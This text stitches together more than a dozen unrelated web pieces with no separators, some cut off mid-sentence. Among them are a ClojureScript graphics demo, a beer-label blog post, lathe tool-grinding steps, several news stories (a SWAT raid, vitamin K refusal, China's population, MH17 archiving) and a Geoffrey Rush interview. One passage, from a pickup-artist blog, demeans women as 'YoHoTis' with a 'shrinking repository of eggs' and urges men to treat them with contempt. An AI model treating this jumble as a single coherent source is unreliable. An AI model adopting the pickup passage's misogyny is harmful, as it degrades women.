This was a piece of cake. I really like the pre-compiled approach that relies on the Closure compiler/library. It just feels like you’re writing a regular application instead of trying to force the browser to do the ‘correct’ thing with run-time code and the DOM. There are a few differences that I ran into, a few functions don’t yet exist and using macros is not as clean as I’d expect. Macros have to be implemented in Clojure and then referenced from ClojureScript. No big deal really.
Here’s the demo
Here’s all the UI code. Not much really at < 100 lines. Very cool.
(def edge-stroke (graphics/Stroke. 1 "#444")) (def blue-edge-stroke (graphics/Stroke. 1 "#66b")) (def green-edge-stroke (graphics/Stroke. 1 "#0f0")) (def white-fill (graphics/SolidFill. "#fff")) (def blue-fill (graphics/SolidFill. "#66b")) (def green-fill (graphics/SolidFill. "#0f0")) (def trans-fill (graphics/SolidFill. "#0f0" 0.001)) (def g (doto (graphics/createGraphics "440" "440") (.render (dom/getElement "graph")))) (defn draw-graph [] (let [canvas-size (. g (getPixelSize))] (.drawRect g 0 0 (.width canvas-size) (.height canvas-size) edge-stroke white-fill))) (defn scale-coord [coord] (+ 20 (* 4 coord))) (defn draw-points [points stroke fill] (doseq [[x y :as pt] points] (.drawEllipse g (scale-coord x) (scale-coord y) 3 3 stroke fill))) (defn draw-convex-hull [points stroke fill] (let [path (graphics/Path.) [xs ys :as start] (first points)] (.moveTo path (scale-coord xs) (scale-coord ys)) (doall (map (fn [[x y :as pt]] (.lineTo path (scale-coord x) (scale-coord y))) (rest points))) (.lineTo path (scale-coord xs) (scale-coord ys)) (.drawPath g path stroke fill))) (defn print-points [points el] (doseq [pair points] (dom/append el (str " [" (first pair) " " (second pair) "]")))) (defn ^:export rundemo [] (let [cnt 1E2 rpts (apply vector (map (fn [n] [(rand-int (inc cnt)) (rand-int (inc cnt))]) (range 1 cnt []))) text-input-title (dom/getElement "text-input-title") text-input (dom/getElement "text-input") text-results-status (dom/getElement "text-results-status") text-results (dom/getElement "text-results")] (draw-graph) ;; draw all points (dom/setTextContent text-input-title (str "Random generation of " cnt " points...")) (draw-points rpts blue-edge-stroke blue-fill) (print-points rpts text-input) ;; calc hull (dom/setTextContent text-results-status (str "Calculating convex hull...")) (let [r1 (randomset rpts false) r2 (randomset rpts true)] (dom/append text-results-status (str " done.n")) ;; update the results (print-points r2 text-results) (dom/append text-results-status (str "Convex hull has " (count r1) " points.n")) ;; draw hull points (draw-points r1 green-edge-stroke green-fill) ;; draw hull (draw-convex-hull r1 green-edge-stroke trans-fill) ;; return the results [rpts r2]))) ;; Auto-update (defn ^:export poll [] (let [timer (goog.Timer. 15000)] (do (rundemo) (. timer (start)) (events/listen timer goog.Timer/TICK rundemo))))
The future of client-side programming just got way better thanks to Rich and team!
All code is here.Because the TTB COLA search (if you don’t know what that means, don’t worry your head) doesn’t seem to be listing all the newly approved beer label approvals, this one managed to slip past us. We scooped the keg approval for this one a little while back, but it seems that MadTree recently got label approved for their can-packaged version of their PsycHOPathy IPA recently, as well. Because they’re such sweet gents, they sent on just about everything you’d need to know about this beer in advance of it hitting distribution.
I have to say, I am really enjoying their labels. While the artwork outside of the bottle clearly is not as important as what’s inside, it’s nice that they’re proud enough of what they’re producing to have some local artists produce some very cool work. Outside of their can labels, the only other local labels I can remember thinking “wow, that’s pretty neat” about are Rivertown’s big bottles (Lambic, Geuze, etc).
I’m very much looking forward to the packaged version of this. Columbus (Columbus IPA, Bodhi) and Cleveland (Head Hunter, White Rajah) has been kicking Cincinnati’s ass all over the place with great IPAs for so long that it will be nice to see some real American, West-Coast style IPAs made in the Queen City. Fifty West is already putting together a great beer of this style with Coast to Coast, but until they start packaging their beer, it makes it tough to get ahold of.
Anyways, I’m sure you’d like to hear about the beer, so without further ado, here are the pertinent details from Kenny at MadTree (after the jump, of course):
MadTree PsycHOPathy IPA
ABV: ~7.0%
Hops: Cascade, Centennial, Chinook
OG: 1.063
FG:1.010
IBU: 70 The IPA is probably the beer that we brewed the most iterations of on the homebrew level. The recipe changed nearly every time because we just never could settle on a final product. Going back about a year ago, we were struggling to get the bitterness out of the beer regardless of how well it was hopped. But once we started modifying the water (filtering and introducing various additives to the mash and sparge, such as calcium and magnesium) we were able to get more of the profile we were after. Fortunately, we are now running what is likely some of the purest water in Cincinnati (Zeolite followed by Reverse Osmosis, followed by UV light) which gives us a blank canvas to create the perfect water profile for the beer. In my opinion, the hops, with a generous Chinook and Centennial at the dry hop, provide a slightly catty and dank aroma with a hint of citrus and peppercorn. Of course everyone may have a different interpretation. Oh, and there is a nice crystal malt balance to hops. There is some malt complexity with Vienna and Caramel 40 without taking away from the hop showcase. Once again, all just the opinion of my taste buds. The illustration (inkblot) was created by Margaret Weiner of the Seedy Seeds, a local Cincinnati band. The idea is that the IPA is a little more hop forward and “mad”, if you will, so we wanted to portray the madness and open interpretation with the illustration. I’m very interested in hearing what all people see in the illustration. Distribution will begin at beer fest, with plans to get it to bars toward the end of the following week. No official venues have been set, but we should have that information in the next few days.Now you need to make your tool bits for the lathe work. Grab some High Speed Steel, a smaller piece (I had a 3/8 HSS tool holder, so I used 3/8 HSS. It was a good size) and a bigger piece, 1/2 is a good size for the bigger piece.
To make the tools, there are some terms we need to know first. I'll go over them quick here, you can find more information by googling about lathe tools. Here is a nice little video: http://www.youtube.com/watch?v=Mn9jpqI8rao
Side rake: On top of the tool, the angle that the chips slide down after they have passed over the cutting edge. You want it smaller, because if it is too big an angle, the cutting edge gets too sharp and will break. 8-12 degrees is good for this.
Back rake: Is similar to side rake, except it goes back towards the body of the tool, instead of off to the side. Again, 8-12 degrees is good.
End relief angle: This is the angle under the cutting tip, and it is there to make sure the front face of the tool doesn't rub along your cutting surface. 10-15 degrees is good
Side relief angle: Is the angle that is on the side of the cutting tip, which makes sure the side of the tool doesn't rub as the tool is feeding into the material. 10-15 degrees is good.
End cutting edge angle: The end angle that makes the point of your tool.
Side cutting edge angle: The side angle that makes the point of your tool
Nose radius: The nose radius determines how nice of a finish is left behind. It is the blend between the side relief and the end relief.
Now, take a look at picture number 1. It shows the 90 degree chamfering tool, and the boring tool. The boring tool is not the prettiest, I know, but it works. You can see in the paint drawings what it would look like if it was perfect (or as perfect as paint drawings can get....)
When grinding HSS bits, rough grind all the angles first, then finish them up on a finishing wheel. You don't want any metal discoloration, and theoretically you shouldn't if you are using the grinding wheel correctly, but just in case, rough grind everything, then finish grind the last little bits to remove the discoloration (if there is any) at the end. It's also good to use a finishing wheel, and maybe even a honing stone at the end.
First, we'll go through the chamfering tool. It is quite simple. Take your HSS, and place it on a 45 degree. Tilt the backside down, so the tip is lifted. This will create your side relief, end relief, and side cutting edge angle, all at once. Look at picture 2, you can see how the HSS should be tilted. Grind the 2 45 degrees (the black lines on the red HSS) to get your 90 degrees. And that tool is finished! It has no back rake, nor side rake, nor any nose radius. Keep the tip sharp!
Second, we'll make the boring tool. This tool needs end relief, side relief, end cutting edge angle, side cutting edge angle, back rake, side rake, and a nose radius! But don't fret, we'll get it done. For this, it would be nice to set your tool rest on the grinder to about 10 degrees, it makes making the nose radius a lot easier. The paint drawing may not look exactly like the tool in real life, that's because my tool is a little funky looking. Just follow the pictures, understand the concepts, and you should be fine. Honestly, since this shouldn't be your first lathe project, you should know about tools already, so what I'm telling you should be stuff you already know.
Any ways, on we go. Check out picture #3. Here we are grinding the end relief angle, and the end cutting edge angle. Hold the tool off to your right, and rest it on the tool rest.
Picture #4 shows how to cut the side cutting edge angle, and the side relief angle. Place the tool on the tool rest to cut the side relief, and tilt it to the left, to cut the side cutting edge angle.
Now, to cut the nose radius, simply do a quick sweep from the angle in picture 3 to picture 4 (top view) to round off the tip. This is where it is nice when the tool rest is set on an angle, because you can rest the tool there (who woulda thunk it?!) and get a smooth radius. It's hard to make a smooth nose radius when you are holding the tool in the air, and trying to keep it steady.
Last but not least, the back and side rake angles. See picture #4 again. The position that you hold the tool in is very similar, but you rotate the tool 90 degrees, tipping it towards the wheel, so you are working with the right side facing you, and the top facing the wheel, as opposed to the left side facing the wheel, and the top facing you.
Finally, see picture #5 to see the front, side, and top views of the completed tool. The black curves would be good to grind off, because we're working on cutting a circle, and we don't want the bottom rubbing. It will shrink the tool a little bit, and make it weaker, but we are cutting aluminium, so it should be fine. If you are making a cube out of steel, then just don't go nuts and make super heavy cuts. Up to 0.015 (0.030 on the diameter) cuts should be fine.
In picture #6, we can see the tool in real life, with all its grinder marks and dings on it.
The last tool we need is the undercutting tool. It looks like picture #7. It's basically a parting off tool, on the end of a stick. So the first step, is take the 1/2 HSS, and grind a thin section in the middle, so there is a big fat section on one side, and a small fat section on the other. Let's get some specs on this, so we know how big to make it. From the tip of the tool to the big fat bit, it needs to be at least as long as your deepest bore (6). My tool is really long, it's a bit excessive. The amount that the tool sticks out should be at least as big as half the diameter of your biggest undercut (5) (for example, the deepest undercut on this cube is 0.300, so the tool needs to stick out at least 0.150. Mine is about 0.250, so plenty of room.) And, the entire end has to be small enough to fit inside your smallest bore (this shouldn't be a problem unless you make a really small bore.) Check picture #9
Instead of repeating everything I wrote for the boring tool, I'll just tell you what to grind, and hopefully you learned how when you made the boring tool.
1) Start by grinding the very front of the tool, grind the end relief and end cutting edge angle. (2)
2) Next, grind the back rake (4)
3) Grind the end relief angle (3)
4) Grind the relief angle opposite the first one (near 5 in top view, the 2 on the right in side view) Between grinding this and the first step, get your tool width (1)
5) Grind the radius on the bottom (7)
6) Grind a tiny tiny nose radius on the tip. You just want a little one, because how big this is affects how deep you need to undercut. If its a perfectly sharp corner, then you need to undercut just a few thousandths of an inch bigger then your corner to corner distance, but if you have a radius that is say, 0.050, then you need to cut more then 0.050 when you're undercutting, which means the undercut needs to be 0.100 bigger on the diameter. If you check our calculations, the undercuts are about 0.070-0.090 bigger then the corner to corner distance, so we can afford a 0.030 radius (~1/32 on an inch). But even still, smaller is better. Try for a 1/64 radius.
And voila! This was a huge long step, but now you have your three tools. We can proceed with the cube!A toddler is in a medically induced coma after a SWAT team raided the family’s home and threw a flashbang grenade into his crib, the boy’s mother said. With a 50 percent chance of survival, it could be weeks before it’s known if he will even live.
Bounkham “Bou Bou” Phonesavanh, a 19-month-old, was asleep in his portable crib in the same room as his parents and three older sisters, when police opened the door to the converted garage and threw the stun grenade in. It landed in the crib with Bou Bou.
“Everyone's sleeping. There's a loud bang and a bright light,” the boy’s mother, Alecia Phonesavanh, told WSB-TV. “The cops threw that grenade in the door without looking first, and it landed right in the playpen and exploded on his pillow right in his face.”
The multi-jurisdictional Georgia SWAT team was executing a no-knock warrant at 3 a.m. on the home where a confidential informant had purchased drugs earlier in the day. The CI said he bought methamphetamine from Wanis Thometheva there on Tuesday. Police told the Atlanta Journal-Constitution that investigators had discovered Thometheva had weapons (including an AK-47) during a previous arrest on drug charges.
“That’s the threat he uses to those who don’t do what he wants,” Habersham County Sheriff Joey Terrell said to the AJC.
But Thometheva wasn’t in the home when the police raided. Instead, the Phonesavanhs were there, sleeping. They were only supposed to be in Georgia temporarily after a fire at their Wisconsin home, the family said.
“We have nothing to do with this (drugs),” father Bounkham “Bou” Phonesavanh told the AJC.
The police department said they had no idea there were any children in the house. “There was no clothes, no toys, nothing to indicate that there was children present in the home. If there had been then we'd have done something different,” Cornelia Police Chief Rick Darby said to WSB-TV.
“You're trying to minimize anything that could go wrong and in this case the greatest thing went wrong,” Darby said. “Is it going to make us be more careful in the next one? Yes ma'am, it is. It's gonna make us double question.”
Terrell told the AJC that a medic began performing first aid on Bou Bou before the child was transported to the hospital, but he was unable to be transported by helicopter due to unsafe weather conditions.
“The last thing you want is law enforcement to injure someone innocent,” Terrell said. “There was no malicious act performed. It was a terrible accident that was never supposed to happen.”
Thometheva was later arrested at a different home on a felony drug charge of distribution of meth, the AJC reported.
In the meantime, Bou Bou is fighting for his life in the hospital. "He's in the burn unit. We go up to see him and |
, Kid Rock snapped, "Please tell the people who are protesting to kiss my ass/Ask me some questions."
Christopher Ilitch, the president and CEO of Ilitch Holdings, which owns the company managing Little Caesar's Arena, told AP he “can’t control what any artist does or says,” adding, “I will always demand that our companies strive to do right by Detroit, our community and its people.”
Peter Hammer, the director of the Damon J. Keith Center for Civil Rights, told AP, “These are moments where you have to act as a matter of character and state what your values are. Everything now is becoming symbolic. That means we have to choose our symbols carefully. Everything is different post-Charlottesville.”Study
From phones to rings to keys and wallet, some riders have even left their puppies behind in the cab!
Are you one of those forgetful people who tend to hurriedly ring up the Uber driver after a ride, checking if what you left behind was still in the cab? You are not alone, and apparently, Bengaluru has quite a few like you.
Bengaluru has topped the list of the most forgetful cities according to a study done by Uber. According to The Uber Lost & Found Index, Bengaluru is the only South Indian city that has made it to the top five. Bengaluru is followed by New Delhi, Mumbai, Hyderabad and Kolkata.
However, the study does not reveal the numbers, and so the margin of win remains a mystery.
What do people tend to forget? From phones to rings to keys and wallet, some riders have even left their puppies behind in the cab!
However, the chances of that happening is quite lesser than the chances of forgetting your charger or sunglasses.
Quite unsurprisingly, it is on the weekends that most passengers tend to leave their belongings behind in the cab. Saturday, Friday and Sunday are the most common days to report a lost item.
December is the month in which the maximum number of items were reported missing. The study says that it is not just bags or hats that the riders forget, but a rider had even left a cheque worth Rs 15 lakh (though it does not mention which Indian city it is).
Keyboards, grocery bags and cabbage are some of the other unique items that has been reported lost.Reader archerwfisher passes along a vagnette from the omnipresent sexual market.
Random, the other day I was thinking, “Maybe the Chateau is overdoing it, maybe being nice and sweet and a good guy isn’t such a bad route.” I stop at a grocery store, buy a few items, head back to my car. In the SUV next to mine, a cute blonde college age girl is getting in the driver’s seat. Long hair, dressed cute and not slutty, no visible tatts or piercings, in decent shape. She’s accompanied by two similar aged guys, one white who looked like a boyfriend, one maybe white hispanic, and they look like dregs who would be getting arrested for shoplifting beer. The girl playfully locks them out and starts teasing them with a grin on her face. The white probably boyfriend’s witty, playful response? “We’re trying to get in the fucking car, unlock it.” She did so. Aaaannd that is why Chateau Heartiste should be studied the same way you study a textbook to earn a certification.
The hottest girls in their fertile primes respond with the greatest intensity of arousal to jerkboys. This call-and-response never dies in a woman, it only fades away with her looks and shrinking repository of eggs. The specter of settling into a life of lonely spinsterhood scares many women straight into the arms of a reliable niceguy, but their fantasies always drift to the cocksure assholes who put them in their place and treated them with an amount of respect inversely proportional to the respect they demand from their beta borefriends.
If you’re a niceguy unwilling to better yourself, you have the option of hefting your blue balls for a decade and then relieving your psychological load in a woman on the cusp of Wall crashing. But most men don’t want to sit on the sidelines that long, waiting out their shot at love with an aging beauty. They want the YoHoTis — younger, hotter, tighter women — just the same as the jerkboys want them. If the niceguys want them bad enough, they’ll learn to love breaking bad.A five-week-old baby boy who suffered a brain haemorrhage because his parents refused a vitamin K injection is fighting for his life in a Brisbane hospital.
News Corp reports that the little boy was rushed to a Lismore hospital – in northern NSW – with bleeding to the brain, before being transferred to Lady Cilento Children’s Hospital in Brisbane.
He is in a serious condition and is likely to be severely disabled if he survives the ordeal.
The vitamin K shot is given to all newborns at birth. But there is an increasing number of anti-vax advocates scaring new parents into rejecting injections.
However, the vitamin K injection is considered completely safe and is said to have saved the lives of many newborns from fatal haemorrhagic disease.
It works by helping a baby’s blood to clot, because they are born with naturally low levels of vitamin K.
According to News Corp, about 15 infants would die in NSW alone because of a vitamin K deficiency, until the injections were introduced in the ‘70s.
During the past two decades, six babies have died from haemorrhagic disease partly because of their parents, as many are refusing injections.
As a result, there are now calls to add the vitamin K injection to the National Immunisation Program (NIP).
As part of the nation’s “no jab, no play” policy, parents who reject vaccines for their children are not entitled to family payments or the childcare rebate.
The Turnbull Government also desires to have parents’ childcare access cut off.
Michael Moore, from the Public Health Association of Australia, said it’s about time the government acts on this serious public health issue.
“The evidence is very clear about the benefits (of immunisations) and the first step for government is ensure mothers know this is the healthiest thing for their baby,” he told News Corp.
“The health minister has been rigorous in his advocacy for immunisation, it would be good to see action on this as well.
“Disinformation and fake news is the order of the day and it needs to be countered.”
A Lismore paediatrician Dr Chris Ingall said he had cared for two infants with brain haemorrhages, one which died in 2010, adding there is a worrying number of parents continuing to refuse injections.
“One or two a week are declining it. It is tied up with the anti-vax movement up here and we have to explain that it is not even a vaccine,” Dr Ingall said.
“It is such a devastating clinical condition and it is one of the hardest things to do to tell a patient their baby is not going to survive.”There have never been more people on Earth than now, and we have never consumed more energy, but could the age of peak human be upon us?
For China at least, the answer is yes and perhaps sooner than expected. Two influential reports this week suggest the world's most populous nation and largest energy consumer is likely to trim its size and appetite soon after 2030.
The last national census results, released Thursday, showed China's population growth has slowed by half in the past decade. Since 2000, about 70 million extra people – the equivalent of a Britain and two Irelands – were added to a nation that is now home to 1.34 billionn people. This is slightly lower than previous forecasts by Chinese demographers, who expected numbers to peak below 1.5 billion by 2035.
Partly as a result of such trends, energy demand could taper off earlier than previously predicted. On Wednesday, the influential Lawrence Berkeley National Laboratory issued detailed new projections indicating China's power consumption was likely to flatten out 20 years from now because there will be less need for steel and cement.
"Saturation in ownership of appliances, construction of residential and commercial floor area, roadways, railways, fertilizer use, and urbanization will peak around 2030 with slowing population growth."
That would be good news for carbon emissions (another area where China is number one), which could plateau or even start to decline three years earlier, according to the same set of projections.
The government says its family planning policies are largely responsible for the slowdown. In 1970, the average Chinese women gave birth to four children in her lifetime. Today, the figure is less than two.
At a news conference to announce the results, Ma Jianting, the director of China's National Bureau of Statistics, said the one-child policy had "eased the pressure on resources and the environment and laid a relatively good foundation for steady and rapid economic and social development".
So, can China and the world breathe more easily? Not yet. The economy will soon have to cope with a shrinking labour force, as well as a growing number of elderly dependents. Society will have to deal with a gender imbalance that will leave tens of millions of men unable to find wives. Such concerns have prompted calls for a relaxation of the family planning policy.
Even if it remains as it is now, the environment will also continue to come under immense pressure from a population that is increasingly mobile (one in five people are migrants), affluent and resource hungry. Last year, 50,000 cars were sold every day in China – more than any country at any time in history. Ownership rates are still far lower than in the US and Europe so there is a lot of room to grow. Even if China's expansion lasts only two decades instead of three or four, that is plenty of time to squeeze scarce global resources.
And, of course, even after China's population and energy demand plateaus, other developing nations will continue to grow. By the time the next Chinese census results are released in 2021, it will probably have been overtaken by India as the world's most populous nation. On current trends, demographers expect the number of people on earth to rise from about seven billion today to nine billion by 2050.
My guess is that declining fertility rates and diminishing energy supplies will bring that peak forward and down as resources grow scarcer, the climate changes and food and oil prices rise. But whether 2010, 2030 or 2050, our generation looks set to witness an extraordinary moment in human history – peak human.On Sunday, a top official for Texas' American Federation of Labor and Congress of Industrial Organizations (AFL-CIO), wished death on President Donald Trump.
Jeff Rotkoff, who works as the Texas AFL-CIO campaigns director, wrote in a now-deleted tweet that he wishes the president, whom he said is a "huge racist piece of s***," "chokes to death on a piece of well done steak."
According to Rotkoff's profile page at Rogue Metrics (a political and business consulting firm), the Texas-based union official "works with local unions, international unions, and central labor councils across Texas to build and execute modern political & issue campaigns, in order to deliver policy wins for Texas working families and the Texas labor movement."
In 2011, Rotkoff formed "Texans for America's Future — a Super PAC whose mission was to oppose Rick Perry's campaign for President."
After Rotkoff's tweet gained attention online, he added the following snarky comment:
The union official then deleted the tweet altogether and "protected" his online Twitter account.
In the 2016 presidential election, Trump made inroads with union households relative to his Republican predecessors, losing their votes by a margin of 8%. Politico described Hillary Clinton's margin of victory among union households as "the smallest Democratic advantage since Walter Mondale’s failed campaign against Ronald Reagan in 1984... For a more recent perspective, President Barack Obama won union households by 18% in 2012."I’ve been sent this message from a number of sources. I hope it’s true as it’s a fascinating concept:
Hi, my name is Les Kinney and I am a retired federal agent and historical researcher. I am part of a group that will be traveling to a remote atoll in the Marshall Islands in mid-December. Our research concerns the theory that Amelia Earhart ran out of gas and landed wheels down next to a small island at Mili Atoll. There were three local natives who witnessed this landing during the late morning of July 3, 1937. We have found aircraft artifacts on this small island which we believe may have come from Earhart’s Lockheed 10E.
We also believe Earhart broadcast distress messages that were heard for the next several days. These voice transmissions were heard by the U.S. Coast Guard, Navy, three Pan Am listening stations and several radio listeners in the United States, Canada, Nauru, and Australia.
Unfortunately, because of atmospheric conditions, most likely caused by thunder storms, most of the messages were garbled and unreadable. Several radio listeners believed they heard Earhart speaking. Most heard a word or two; some a sentence or more. Some thought they heard partial latitude and longitude coordinates. None heard Earhart report she was at a specific geographic location except one. That person was Nina Paxton, a registered nurse from Ashland Kentucky. Nina had a new Philco console radio and said she heard Earhart around 2 pm Eastern Standard Time on Saturday July 3rd, 1937. Nina reported Earhart saying they were down on a little island at Mili Atoll. Amelia mentioned her navigator, Fred Noonan, was hurt, they were almost out of gas and warned they couldn’t stay there long.
Earhart’s Lockheed Electra was equipped with a 50 watt Western Electric model 13C transmitter. Earhart would have had to have one engine running to transmit. For a variety of technical reasons, she would have likely been transmitting on 6210 kilocycles high on the AM band which was her day time frequency. There is a remote chance she was broadcasting on 3105 kilocycles her night time radio frequency.
We would like everyone’s help. We are going to attempt to duplicate that 1937 transmission from this remote island. We will use Earhart’s identifying call sign of KHAQQ to begin the broadcast. We will broadcast twice: at 12:30 pm or 1230 hours Eastern Standard Time (EST) and again at 1:00 pm EST or 1300 hours on two successive days, December 15, and 16th, 2016. The first broadcast will be on 6210 kilocycles and will last for one minute. We will repeat the message twice, two minutes apart. After the third transmission on 6210 kilocycles, there will be a three minute pause and we will then broadcast the same message on 3105 kilocycles for one minute, three times, with a two minute delay after each message.
We know this is a long shot. We can’t duplicate the atmospheric conditions from July 1937 and there is so much more RF interference in 2016. But it is worth a try. We are asking everyone having a receiver capable of listening to this broadcast to tune in on these frequencies.
Whether you have an old 1930’s radio, or a modern radio with short wave capabilities, keep your cell phone cameras and video cameras ready to capture the moment. Flash the camera on your set and then to yourself while you record our broadcast. If you’re lucky enough to pick up the transmission, you will likely get five seconds of fame on a future TV documentary.
If you do receive our Earhart recreated broadcast and capture the message on your cell phone camera or camcorder, call us on site in the Marshall Islands via satellite phone. That number is: 011-881-651-463- 951.
Please pass this message on to any other radio groups, forums, or interested friends. Schedule: December 15, and 16, 2016 6210 Kilocycles: 12:30 pm – 12:32 pm – 12:34 pm (All times EST) +5 for GMT 3105 Kilocycles: 12:37 pm – 12:39 pm – 12:41 pm 6210 Kilocycles: 1:00 pm – 1:02 pm – 1:04 pm 3105 Kilocycles: 1:07 pm – 1:09 pm – 1:11 pm Les Kinney lgkinney@yahoo.comAn armed pro-Russian separatist stands on part of the wreckage of the Malaysia Airlines Flight 17 on July 17, after the plane crashed near the settlement of Grabovo, in Ukraine’s Donetsk region. (Maxim Zmeyev/Reuters)
In the agonizing quest to pin down exactly what happened when Malaysia Airlines Flight 17 went down over Ukraine last week, Web archivists and other digital sleuths are playing an unusual — potentially pivotal — role.
Wayback Machine, the nonprofit Web crawler that archives old versions of Web pages, captured evidence last Friday that a pro-Russian group was behind the attacks. Meanwhile, @RuGovEdits — a Twitter bot that monitors Wikipedia edits made from Russian government computers — logged evidence that reflects Russia’s interest in deflecting the MH17 narrative elsewhere.
Both bits of evidence could prove important to understanding the crash and its political aftermath, particularly as investigators question the integrity of the crash site. But they’re also compelling examples of the Web’s ability to promote transparency and hold powerful people accountable for their words — even, or especially, when they delete them.
Perhaps no one knows that better than Igor Girkin, a pro-Russian separatist leader whose hyperactive profile on Vkontakte, Russia’s Facebook clone, is regularly saved by the Wayback Machine. The administrators of Girkin’s page regularly post updates on the Ukrainian conflict from news sources, news conferences and Girkin himself. In fact, if you check the page now, you’ll see no fewer than a dozen updates on the crash, all blaming it squarely on the Ukrainian air force.
But there was an earlier update, now deleted, made shortly before the crash went public:
In the vicinity of Torez, we just downed a plane, an AN-26. It is lying somewhere in the Progress Mine. We have issued warnings not to fly in our airspace. We have video confirming. The bird fell on a waste heap. Residential areas were not hit. Civilians were not injured.
Page administrators later tried to scrub that message, deleting it, posting a disclaimer distancing the page from Girkin and quoting a number of news stories that implicated the Ukrainians. They could not, however, remove the screen grab from the Internet Archive, where it now lives with 45 other versions of Girkin’s page.
“Here’s why we exist,” the Wayback Machine wrote on Facebook, with links to earlier versions of Girkin’s page. “A Ukranian Separatist boasted his pro-Russian Group shot down a Ukranian plane on his website. When it turned out to be #MH17 #MalaysiaAirlines he erased it, but our WayBack Machine captured the page for history.”
Meanwhile, on the other side of the world, the Twitter bot @RuGovEdits was making its own MH17 discoveries. The bot, which is only one week old, records Wikipedia edits made from Russian IP addresses — unique numbers that identify each computer on a network. (You may already be familiar with the bot’s American equivalent, @congressedits.)
On July 18, the day after the plane crash, an IP address associated with Russia’s state-run broadcasting company, VGTRK, edited the page “List of aircraft accidents in civil aviation” to attribute the crash to the “Ukrainian military.” An address associated with Vladimir Putin’s office has also made multiple edits to the page for the crash itself, though none were so overtly political.
None of these edits necessarily prove anything, of course — and there have been plenty of cries for moderation and deliberation on Internet Archive’s Facebook page, where commenters point out that even the Web’s smoking guns can prove misleading.
But overall, the efforts of Internet Archive and others like it are powerful testaments for a new wave of pro-transparency bots and tools, all of them dedicated to leveraging technology to expose how governments, politicians and other powerful political figures manipulate the digital landscape. As I wrote last week about Hidden from Google — a Web site that collects links hidden under Europe’s “Right to be Forgotten” ruling — the tools aren’t an inadequate means of addressing the profound disparity between ordinary Internet users and the technological and political forces that impact them. But they are certainly a start.
“Important work,” one commenter wrote on the Internet Archive page. “Without it, we’re in Orwell’s 1984.”Nine cycling advocates met at an Amsterdam Avenue hostel in November 1991 to establish the ambitious goal of building a 3,000-mile dedicated bike trail from Maine to Florida.
This fall, the group, established as the nonprofit East Coast Greenway Alliance, will celebrate its 25th anniversary as it continues to carve out one of the longest trails in the country, which spans 450 communities in 15 states through a serpentine route along the eastern seaboard.
“The trails connect people to destinations in ways that they can use this greenway for their local commute and also use it as a great way to recreate; take a break to connect with nature or simply run errands,” said Dennis Markatos-Soriano, the executive director of the East Coast Greenway Alliance.
From Calais, Maine, at the Canadian border to Key West, riders can currently access the greenway through a mix of dedicated bike lanes, multi-use paths and wide street shoulders. About 900 miles, or 31%, of the trail is formed by dedicated greenway. The alliance is focusing on identifying potential bike paths along the coast for its end goal: dedicated bicycle right-of-way for the entire trip.
“The vision for the East Coast Greenway is now a 3,000-mile linear park to foster healthy and sustainable living,” Markatos-Soriano said.
The alliance’s map through New York City utilizes the popular Manhattan Waterfront Greenway, the 32-mile path ringing the borough. From the north, cyclists travel through the Bronx River, Mosholu and Van Cortland Park greenways before crossing the Harlem River’s Broadway Bridge.
From there, the most direct city route south brings bikers through Inwood Hill Park to connect to the Riverside and Hudson River greenways all the way down Manhattan’s West Side, where they’d have to ferry over to New Jersey. The group’s online interactive map offers more details.
The alliance hopes to help build out another 200 miles of dedicated greenway along the coast by 2020. Markatos-Soriano said he wants to install more signage to guide riders and help raise awareness of the project.
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The city’s leg has long been integral for both commuters and recreational riders. Some 5,425 cyclists were counted in Hudson River Park during a 12-hour window in August of last year, according to the city’s Transportation Department.
“One of the reasons people like riding on the bike path is because they stop and come into the park to have lots of different experiences,” said Madelyn Wils, president of the Hudson River Park Trust. “They can lock their bike up for a ferry ride; take out a kayak; read a book; or just take a nap along the water.”
Many of those park riders seem unaware of the alliance’s lofty goal, but their eyes light up at the prospect of it.
“I had no idea about it,” said Chelsea resident Gabrielle Alleau, who was training along the West Side on Monday for an Ironman Triathlon. “That would be heaven!”Geoffrey Rush has slammed'mean spirited' reviews of his new film, The Book Thief, saying critics and Oscar voters need to reconnect with cinema audiences. Here, Rush reveals the inspiration behind his subtle performance as Hans, an out of work housepainter and'slight maverick'.
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The inspiration for playing Hans came from close to home
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Hans is a relatively simple, uncomplicated character who is a working class housepainter in this small, southern German town.
I’m getting the most phenomenal feedback from 10-year-olds to 80-year-olds, some of whom might have been survivors from the camps. The emotional temperature in the room with these audiences was extraordinary Geoffrey Rush
As I was reading the screenplay, I had a lot of thoughts of my stepdad, who was a shearer.
He was very lefty and very down-to-earth; he used to listen to ABC Radio plays in the shed and was self taught and a very ordinary kind of bloke.
I remember around the time I was in my late teens and being subject to the Vietnam draft here, back in the late ‘60s, early ‘70s. He told me stories about himself being 20 when he was up in Borneo in the Second World War.
All of these little resonances were kind of floating around inside my head, and they became a useful touchstone to try to give life and credibility to this character, on top of the beautiful details that Markus [Zusak] had created in the novel.
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This was a more subtle role than many of my other characters
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If I look back on my CV, there are quite a few boisterous, extravagant pieces out there, whether it’s Barbossa [Pirates of the Caribbean], or the Marquis de Sade [Quills] or Peter Sellers running the gamut from A to Z of crazy goon characters.
That was part of the appeal for me, to find something that had a slightly more inward, nuanced uncertain quality with a lot of ambiguities in it. It was kind of a self challenge in some ways.
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Hans's hairstyle was very important in shaping my perception of him
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I thought okay, this guy is out of work because he refuses to join the Nazi party, so he becomes a bit of a pariah within his community, that would have up until then been a close-knit community.
I suppose the stereotype of Nazi control was that the hair was always very severe and very shaped, to go with the uniforms. Research proved that to be correct, because the hair and makeup department art directors had hundreds and hundreds of authentic photos of what people in southern German towns looked like in the late '30s.
Of course [Hans and his wife] don’t have money to have a haircut every couple of weeks, so they were quite wild and woolly.
It appealed to me that, given Hans’s slight maverick political viewpoint, his musicianship and his layabout quality, that the hair would be subliminally a statement of mild anarchy.
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I think critics should only watch new films on the big screen
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I did my online voting [for the Academy Awards] the other day, because I’m a member of the academy.
I suppose the majority of people now watch and vote from screeners, but I try not to do that unless there’s no way I can catch it on the big screen. It makes such a difference, and in some ways I also wish the critics would go and watch them, with audiences, on a big screen.
If you’ve got a remote in your right hand and you think, I’ll just go to the bathroom or pop out and get a cup of coffee, you’ve broken the rhythm that the director, editors and actors have slaved over to achieve a unified piece of storytelling that’s meant for communal involvement.
The Book Thief got a mixture of reviews when it opened in America, and some of them were, I thought, pretty mealy-mouthed and mean spirited. [At screenings] I’m getting the most phenomenal feedback from 10-year-olds to 80-year-olds, some of whom might have been survivors from the camps. The emotional temperature in the room with these audiences was extraordinary, and I think if you’re a critic watching it isolated and not seeing how a 10-year-old or a 13-year-old might look like when they come out of the cinema, you’re missing out a vital ingredient in the process.
